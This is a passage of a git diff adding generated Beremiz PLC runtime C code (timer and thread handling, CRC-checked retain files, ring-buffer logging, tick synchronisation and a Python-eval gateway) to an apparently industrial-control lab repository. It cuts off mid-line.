%= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* 